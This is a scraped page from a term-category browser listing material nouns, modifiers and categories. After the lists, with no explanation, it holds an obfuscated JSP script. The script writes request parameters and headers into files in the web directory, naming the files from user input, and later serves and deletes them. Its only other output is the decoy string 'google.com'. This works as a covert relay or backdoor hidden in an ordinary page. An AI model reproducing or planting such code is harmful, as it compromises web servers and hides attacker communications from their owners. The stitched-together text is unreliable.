Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
single_material
:
graphite,
metal,
gas,
rubber,
dental_composition,
chromium,
aluminum,
wood,
soil,
cement,
lead,
iron,
chemical,
paper,
steel,
platinum,
corn,
silicon,
quartz,
nickel,
al,
pvc,
marble,
resin,
gold,
rock_phosphate,
amber,
polymer,
horn,
vitreous_selenium,
air,
fiber,
polyester,
collagen,
construction_steel,
sand,
cd,
mercury,
textile,
pesticide,
asbestos,
sapphire,
silicate,
bronze,
ruby,
dirt,
cloth,
clay,
natural_stone,
wool,
titanium_alloy,
newsprint,
tungsten,
ivory,
cardboard,
alloy,
ti,
polyethylene_resin,
structural_steel,
bone,
vermiculite,
copper,
polyurethane,
log,
titanium,
semiconductor,
tin,
stone,
magnesium,
asphalt,
pu,
feldspar,
milk,
indium_oxide,
expanded_clay,
cotton,
sealing_compound,
gasoline,
polyethylene,
canvas,
zinc,
gravel,
carbon_fiber,
carbon,
ink,
silica,
manganese_dioxide,
si,
lubricious_polymer,
salt,
sugar,
cobalt,
skin,
germanium,
diamond,
mineral,
powder,
safe_pu,
abs,
tantalum,
water,
charcoal,
silver,
hair,
leather,
oil,
seed,
book,
blood,
report,
calcium,
pencil,
newspaper,
adhesive,
cr,
nylon,
cu,
rock,
protein,
wood_waste,
silicone,
alcohol,
paint,
limestone,
pure_silica,
pottery_stone,
earth,
phenol,
Modifiers matching
material
:
collagenous,
disposable,
glassy,
raw,
organic,
residual,
solid,
administrative,
nonporous,
photoemissive,
natural,
soft,
charged,
sensitive,
descriptive,
ferrous,
non-primitive,
tactile,
virgin,
commonplace,
inert,
thermoelectric,
inorganic,
benthic,
incendiary,
vaporizable,
soluble,
reliable,
pyroelectric,
formal,
sticky,
printable,
newtonian,
hazardous,
hard,
undesirable,
fermentable,
endogenous,
underwater,
conventional,
layer,
needed,
active,
contrasting,
prescribed,
cozy,
german,
favored,
surplus,
salt,
harmful,
mechanical,
cold,
aqueous,
anhydrous,
laminar,
mixed,
threatening,
nonreflective,
unwanted,
japanese,
photovoltaic,
interfering,
colored,
aromatic,
mathematical,
privileged,
nonabsorbent,
authentic,
clear,
exposed,
futuristic,
overlooked,
blue,
semisolid,
subatomic,
significant,
sugary,
electrochemical,
floral,
exciting,
botanical,
polar,
subsidiary,
mental,
impure,
defined,
nonmetal,
electoral,
robust,
diffusing,
quilted,
horrifying,
dull,
australian,
datable,
nutritive,
crustacean,
nonconducting,
special,
massive,
weaker,
polymeric,
legal,
excretory,
granulated,
unyielding,
elemental,
abundant,
biogenic,
nonmusical,
small,
random,
vital,
fibrous,
newer,
under,
worthy,
compressible,
heated,
delicate,
volatile,
medical,
proprietary,
ferromagnetic,
animal,
creative,
elegant,
unusual,
biotic,
exterior,
nonliving,
transient,
strategic,
infectious,
electric,
blasting,
archeological,
complimentary,
lossy,
unlikely,
binary,
portable,
military,
inflexible,
harsh,
pulverised,
evaluative,
white,
rolling,
aggregate,
obstructive,
addictive,
odd,
adjacent,
artistic,
colour,
related,
structural,
symmetric,
semirigid,
off,
exogenous,
attractive,
geophysical,
oleophilic,
alloyed,
terrestrial,
volcanic,
expendable,
eloquent,
noncombustible,
lifeless,
intractable,
painterly,
vegetative,
uncharacteristic,
musical,
specular,
tougher,
final,
corrective,
luxe,
christian,
unofficial,
stationary,
combustible,
ionic,
useless,
elongated,
bright,
costlier,
vietnamese,
semiconducting,
ancillary,
nonresilient,
supporting,
molten,
moist,
divalent,
organizational,
clogging,
hygroscopic,
instructional,
iron,
modular,
antimicrobial,
elementary,
pathogenic,
abandoned,
invisible,
heavy,
difficult,
unusable,
ignitable,
backer,
pulverized,
disordered,
aggressive,
damp,
precise,
dark,
medieval,
central,
compressed,
oriental,
vulnerable,
scented,
fashionable,
model,
fluffy,
looking,
infrared,
complex,
larger,
fluorescent,
good,
renewable,
sterile,
vitreous,
hydrophilic,
alluvial,
dispersive,
utilitarian,
messy,
intrinsic,
rubbery,
atmospheric,
rugged,
colloidal,
woody,
size,
textual,
indoor,
financial,
sized,
paramagnetic,
curricular,
hybrid,
usable,
dimensional,
nonwoody,
stronger,
lapidary,
civil,
dilute,
metal,
new,
phantom,
deadly,
herbaceous,
unauthorized,
unvulcanized,
moldy,
operational,
metamorphic,
photoconductive,
interpretive,
third,
metabolic,
vocational,
bituminous,
affordable,
packed,
photographic,
polyatomic,
intelligent,
granular,
supplemental,
rougher,
surgical,
labile,
crustal,
editorial,
isolated,
alternative,
static,
pertinent,
nonslip,
philippine,
biodegradable,
micaceous,
undesired,
oriented,
geographical,
buoyant,
straplike,
complementary,
provencal,
invertebrate,
abstract,
dispersed,
flavorful,
molecular,
cathodic,
wooden,
corrosive,
hollow,
heavier,
top,
wearable,
unfinished,
lunar,
fissionable,
bony,
secure,
clastic,
unconsolidated,
permeable,
u,
postal,
competitive,
fissile,
colourful,
multiple,
succulent,
inflammable,
incompressible,
formalized,
geologic,
resonant,
required,
non-precious,
synthetic,
thermosetting,
lightweight,
flammable,
nonstick,
heterogeneous,
expanded,
solidified,
local,
individual,
overlying,
moving,
recreational,
scripted,
fleshy,
rare,
impenetrable,
fine,
woven,
semiliquid,
cumbersome,
albuminous,
stabilizing,
powdery,
immaculate,
separated,
intermediate,
reusable,
clinical,
dead,
thickening,
cubic,
ordered,
chemical,
acid,
unpublished,
weighty,
narrow,
necessary,
thinner,
temporary,
shiny,
illustrative,
structured,
aeronautical,
dated,
rough,
inanimate,
internal,
unacceptable,
powerful,
pliant,
promotional,
ecological,
susceptible,
refractive,
bottomed,
propellant,
historical,
modest,
clean,
graphic,
intestinal,
inspirational,
unstable,
orthodontic,
explicit,
fecal,
changing,
radioactive,
architectural,
genuine,
warm,
steroidal,
nice,
cognitive,
allergenic,
particular,
thick,
opaque,
springy,
edible,
manufactured,
nonmagnetic,
legislative,
down,
damaging,
communal,
sufficient,
contemporary,
noncrystalline,
poisonous,
native,
spiritual,
compatible,
cationic,
padded,
advisory,
precious,
brighter,
flexible,
electrical,
incompatible,
flat,
marketable,
adult,
spare,
gross,
farinaceous,
expansible,
adapted,
seasonal,
peruvian,
lipophilic,
viscous,
rustic,
familiar,
political,
subsurface,
effective,
nonrigid,
fitting,
biologic,
sheetlike,
statistical,
rubberlike,
benign,
black,
amateur,
ultrasonic,
home,
oleaginous,
nongranular,
cylindrical,
greasy,
saturated,
distinct,
suitable,
harder,
photosensitive,
semitransparent,
plane,
sexual,
crisp,
representational,
exclusive,
concise,
beneficial,
acoustic,
archaeological,
exotic,
antigenic,
adjuvant,
fragrant,
nonrenewable,
limited,
transferrable,
superior,
resultant,
then,
premium,
nonabsorptive,
comforting,
floating,
unbreakable,
distant,
ephemeral,
herbal,
deep,
essential,
liquified,
waxy,
tacky,
nonskid,
unclean,
receptive,
controlled,
unsaturated,
movable,
dry,
noxious,
explosive,
durable,
phosphorous,
compact,
net,
modern,
matte,
horticultural,
reticular,
sentimental,
proper,
impervious,
unique,
hidden,
microbial,
desirable,
crystalline,
biological,
departmental,
polish,
plastic,
developed,
stock,
sleek,
airy,
coniferous,
healthy,
marine,
hydrated,
evaporable,
stellar,
aliphatic,
biochemical,
bitter,
secular,
general,
prestigious,
cementitious,
original,
out,
initial,
sharp,
surrounding,
nonsynthetic,
diaphanous,
nonpolar,
detrimental,
technological,
semiprecious,
porous,
theoretical,
specialised,
novel,
tight,
number,
medium,
optional,
decorative,
automotive,
hydraulic,
world,
wholesome,
narrative,
genealogical,
airtight,
flying,
free,
inappropriate,
timeless,
bulky,
sedimentary,
extractable,
remaining,
periodic,
wild,
textured,
joint,
fluent,
oversize,
rental,
rocky,
painted,
tabular,
biomedical,
swedish,
beautiful,
extracellular,
competent,
refrigerant,
recoverable,
supportive,
lactic,
osseous,
covalent,
non-organic,
acidic,
fat,
frangible,
odorous,
argillaceous,
inexpensive,
british,
verbal,
twisted,
primary,
american,
smaller,
european,
homogeneous,
protective,
skeletal,
indonesian,
finished,
single,
polycrystalline,
cryptographic,
ablative,
insensitive,
informal,
leafy,
animated,
birefringent,
tensile,
chinese,
absorptive,
dehydrated,
high,
faceted,
grey,
fabricated,
preventive,
resistive,
bulkier,
thicker,
throwaway,
tubular,
serious,
persistent,
macromolecular,
optic,
melting,
sexy,
upscale,
african,
firm,
workable,
graphical,
gooey,
irreplaceable,
anionic,
recognizable,
restricted,
inedible,
artificial,
blank,
safe,
inside,
chewy,
nonflammable,
transparent,
dusty,
malleable,
innovative,
aesthetic,
fluid,
stereo,
indian,
illegal,
intravenous,
scientific,
nontechnical,
softer,
sculptural,
lengthy,
red,
relevant,
polyphase,
exothermic,
valuable,
textbook,
medicinal,
unused,
spherical,
crucial,
official,
uniform,
nonmetallic,
surficial,
evergreen,
elastic,
functional,
pharmaceutical,
outside,
poorer,
little,
poor,
physiological,
catalytic,
tasty,
caustic,
microscopic,
slippery,
straight,
similar,
coloured,
continuous,
expository,
unobjectionable,
collateral,
powdered,
conformable,
historic,
older,
adsorptive,
open,
extensive,
extraterrestrial,
oversized,
weatherproof,
nonvolatile,
latticed,
cool,
refractory,
angular,
insoluble,
filmy,
meaningful,
actual,
radiopaque,
cultural,
dynamic,
antibacterial,
embedded,
educational,
washable,
nontraditional,
specialized,
dissolved,
glossy,
underground,
erotic,
unconventional,
deciduous,
non-ferrous,
leatherlike,
rich,
replaceable,
uneven,
inflatable,
routine,
stretchy,
chewable,
stretchable,
bound,
negative,
orthopedic,
international,
discarded,
lighter,
normal,
cohesive,
several,
earthen,
personal,
spurious,
foreign,
prepared,
piezoelectric,
metallic,
archival,
anthropogenic,
linear,
troublesome,
imitation,
inner,
indigenous,
outdoor,
cellular,
hardest,
pure,
igneous,
unhealthy,
costly,
brown,
bilingual,
bibliographic,
environmental,
sacred,
prosthetic,
liquid,
urban,
antibiotic,
friable,
waterborne,
potent,
pervious,
interior,
deleterious,
extra,
illicit,
impermeable,
non-reflective,
useful,
coarse,
watertight,
english,
fireproof,
feminine,
expressive,
copyrighted,
trim,
widespread,
scintillating,
old,
mammalian,
catholic,
brazilian,
academic,
wet,
secret,
pointed,
weblike,
filamentous,
carcinogenic,
dental,
cyclic,
plush,
resilient,
extraneous,
perfect,
metastable,
airborne,
dense,
nutrient,
positive,
interesting,
casual,
transmissible,
energetic,
audiovisual,
coated,
sophisticated,
nitrogenous,
masculine,
unlawful,
fixed,
improper,
underlying,
immiscible,
ceramic,
resinous,
intensive,
gummy,
dangerous,
starting,
perishable,
conjugated,
cosmetic,
reproductive,
over,
incidental,
alkaline,
level,
nuclear,
netlike,
platelike,
standard,
frozen,
evidentiary,
nonstructural,
objective,
unexpected,
up,
tough,
consolidated,
specified,
restrictive,
developing,
typical,
hygienic,
cheap,
inductive,
sturdy,
deliquescent,
woolen,
topical,
micro,
symbolic,
fragile,
domestic,
radiolucent,
hydrophobic,
reclaimed,
firsthand,
helpful,
undefined,
irregular,
segregated,
minor,
calcareous,
diagnostic,
color,
stable,
anisotropic,
thermal,
conductive,
key,
wrong,
dissimilar,
finer,
intellectual,
fragmented,
minute,
radiological,
anodic,
enduring,
long,
expensive,
reflective,
offer,
pyrotechnic,
factual,
upper,
gritty,
aluminous,
loose,
contraband,
intracellular,
current,
real,
large,
stimulating,
intact,
electronegative,
ternary,
nonlinear,
unstructured,
technical,
main,
occult,
peripheral,
online,
dried,
pedagogic,
dummy,
inactive,
planar,
miscellaneous,
colorful,
digestible,
future,
simple,
abrasive,
published,
noble,
orthopaedic,
personalized,
traditional,
supple,
ethnic,
waxlike,
informative,
hemostatic,
asian,
institutional,
desired,
comfortable,
organisational,
possible,
proteinaceous,
private,
scenic,
renewing,
penetrating,
zoological,
anatomical,
irritating,
viscoelastic,
warmer,
sintered,
additional,
sanitary,
concrete,
sluggish,
major,
round,
working,
alien,
semiconductive,
favorite,
strange,
circular,
uncoated,
glacial,
elaborate,
russian,
auxiliary,
manipulative,
occluded,
characteristic,
pictorial,
confidential,
external,
prehistoric,
obnoxious,
occlusive,
diverse,
curative,
nearby,
oxidizable,
restorative,
secondary,
turbid,
provocative,
laid,
scholarly,
unfriendly,
fossil,
cleansing,
fuzzy,
fragmentary,
industrialized,
laxative,
experimental,
thai,
detailed,
calendered,
dressy,
nutritious,
oily,
critical,
collectible,
grown,
cheaper,
striking,
unbound,
corporate,
lasting,
regulated,
consumable,
mobile,
regular,
primitive,
proteolytic,
physical,
everyday,
lumpy,
ordinary,
practical,
light,
nonconductive,
humble,
unsuitable,
seamless,
simulated,
cleanable,
frictional,
handsome,
nontoxic,
tiny,
usual,
magnetic,
absorbable,
yielding,
digital,
greek,
uncharged,
palatable,
obtrusive,
tangible,
public,
expandable,
repellent,
sensory,
logical,
bad,
declassified,
pliable,
nasty,
smooth,
ornamental,
incongruous,
virtual,
crude,
fungal,
microcrystalline,
waiting,
advanced,
realistic,
magical,
silver,
discrete,
brittle,
classical,
established,
accessible,
harmless,
leftover,
regulatory,
welsh,
expansive,
noiseless,
refined,
transuranic,
electromechanical,
informational,
pasty,
indirect,
nutritional,
binding,
hardy,
thin,
siliceous,
potable,
convenient,
crumbly,
taken,
isotropic,
lustrous,
fresh,
gaseous,
outer,
luxurious,
sacrificial,
luminescent,
dirty,
chromatographic,
variable,
amorphous,
unsightly,
bendable,
tropical,
congressional,
weak,
springlike,
heaviest,
rounded,
complicated,
visceral,
smelly,
endothermic,
inelastic,
sensual,
non-porous,
inextensible,
untreated,
important,
translucent,
resistant,
non-metallic,
maverick,
destructive,
neutral,
perforated,
separate,
religious,
friendly,
indigestible,
awkward,
geological,
handwritten,
darker,
recyclable,
particulate,
popular,
sheer,
antique,
moldable,
subaqueous,
concentrated,
visual,
non-edible,
emotional,
common,
floaty,
residential,
removable,
islamic,
plain,
ethereal,
cryogenic,
strong,
edged,
summery,
broken,
optical,
professional,
basic,
tenacious,
further,
visible,
attainable,
ancient,
webbed,
electronic,
polished,
unprocessed,
bovine,
exempt,
embolic,
vegetal,
fundamental,
sensuous,
nonfunctional,
inhomogeneous,
slender,
carbonaceous,
mundane,
fatty,
ductile,
available,
sustainable,
fancy,
side,
inviting,
danish,
absorbent,
foldable,
suspended,
thermoset,
preferred,
french,
ic,
disinfectant,
macroscopic,
compliant,
rigid,
lovely,
earthly,
genetic,
written,
smart,
immaterial,
toxic,
thermoplastic,
agricultural,
hydrous,
preservable,
stony,
innocuous,
passive,
fictional,
sumptuous,
crispy,
waterproof,
stylish,
steady,
commercial,
purchasable,
liquefied,
monolithic,
appropriate,
pleasing,
eukaryotic,
base,
orange,
unpainted,
stubborn,
trivalent,
industrial,
permanent,
homogenous,
adventitious,
interactive,
atomic,
sundry,
stained,
eternal,
western,
reactive,
varied,
diamagnetic,
earthy,
bodied,
bonelike,
literary,
analog,
monatomic,
starchy,
hot,
supplementary,
non-conductive,
promising,
Simple categories matching
single
:
entity,
catalyst,
device,
field,
pulse,
event,
discipline,
allergen,
culture,
art,
crystal,
container,
plate,
item,
dish,
subject,
metal,
vessel,
pathology,
metric,
practitioner,
symbol,
interaction,
cost,
constituency,
material,
failure,
virus,
blade,
link,
industry,
fuel,
stroke,
genre,
object,
reactant,
intervention,
function,
professional,
condition,
database,
part,
difference,
act,
monument,
official,
category,
solute,
force,
shooter,
control,
signal,
trait,
occasion,
product,
component,
metabolite,
foodstuff,
network,
anchor,
vocation,
drug,
ion,
channel,
commodity,
noise,
person,
compound,
macromolecule,
hinge,
centre,
antioxidant,
hazard,
constituent,
government,
trip,
term,
muscle,
chip,
accessory,
player,
aperture,
proposition,
gas,
location,
folder,
illness,
card,
statement,
publication,
contaminant,
surface,
experience,
level,
firearm,
garment,
state,
terminal,
organization,
character,
system,
membership,
computer,
pathogen,
practice,
enclosure,
application,
biome,
score,
silicate,
oil,
sugar,
switch,
instrument,
measure,
volume,
attack,
organs,
impact,
temperature,
calculator,
assessment,
subgroup,
shape,
episode,
connection,
disaster,
process,
construction,
medium,
quality,
place,
lens,
contract,
means,
processor,
religion,
header,
setting,
country,
view,
account,
solvent,
incident,
frame,
lesson,
musician,
science,
microorganism,
staple,
ovary,
substrate,
format,
particle,
territory,
entertainer,
caregiver,
result,
use,
interface,
adult,
department,
display,
machinery,
element,
value,
spade,
polymer,
tone,
grain,
peculiarity,
domain,
wheel,
operand,
controller,
body,
catastrophe,
agent,
problem,
instruction,
team,
widget,
tank,
project,
nude,
stone,
obstacle,
fibre,
record,
mechanism,
criterion,
monomer,
thing,
approach,
papers,
area,
page,
technique,
counter,
groove,
rna,
document,
assembly,
firework,
lot,
disturbance,
antenna,
school,
position,
word,
figure,
track,
bike,
movement,
idea,
joint,
fragment,
organisation,
female,
task,
behavior,
workstation,
outlet,
molecule,
spice,
apparatus,
atom,
facility,
expert,
resource,
maneuver,
image,
cause,
dimension,
perspective,
gadget,
installation,
truth,
room,
precursor,
spring,
park,
doctrine,
blank,
plant,
substance,
quantum,
form,
species,
oxide,
community,
topic,
variable,
theme,
pitch,
administration,
profession,
establishment,
artist,
path,
atmosphere,
production,
recording,
stoppage,
trade,
performer,
string,
structure,
artifact,
quantity,
golf-club,
instance,
semiconductor,
society,
indicator,
claim,
file,
injury,
concept,
capacitor,
activator,
model,
cable,
benefit,
feature,
wafer,
block,
pin,
post,
repository,
receiver,
site,
node,
primitive,
sector,
operator,
manuscript,
tint,
interest,
prey,
cell,
space,
battery,
token,
modality,
game,
appliance,
candidate,
manager,
seed,
organ,
name,
building,
infection,
color,
rocket,
deity,
ship,
axis,
client,
graph,
service,
message,
disease,
studio,
offense,
club,
receptacle,
piece,
subsystem,
program,
herb,
power,
authority,
sheet,
study,
support,
expenditure,
occurrence,
work,
arms,
parent,
crime,
antigen,
contingency,
conductor,
farm,
vegetable,
taxonomy,
tree,
picture,
host,
ruler,
spacecraft,
characteristic,
fruit,
lan,
unit,
institution,
number,
meal,
door,
yarn,
chemical,
author,
faculty,
source,
marker,
fluid,
accident,
server,
extremity,
head,
capsule,
tissue,
woman,
module,
tap,
fiber,
box,
starches,
user,
boundary,
fastener,
bloom,
agency,
syllable,
predictor,
food,
output,
nation,
context,
strand,
works,
symptom,
protein,
sample,
emotion,
article,
deliverable,
mineral,
animal,
frequency,
skill,
scale,
difficulty,
operation,
hydrocarbon,
os,
people,
song,
party,
leader,
nucleus,
region,
organism,
activity,
words,
phenomenon,
red,
tool,
treatment,
procedure,
housing,
salt,
projectile,
robot,
point,
craft,
currency,
property,
jurisdiction,
fixture,
equipment,
office,
flower,
occupation,
patriarch,
package,
ownership,
artefact,
language,
action,
filament,
campus,
ingredient,
prop,
man,
sport,
visionary,
attribute,
machine,
genus,
solution,
type,
vehicle,
length,
layer,
circuit,
keystroke,
issue,
screen,
individual,
business,
motif,
plot,
vein,
county,
line,
nutrient,
change,
group,
weapon,
enterprise,
asset,
finger,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>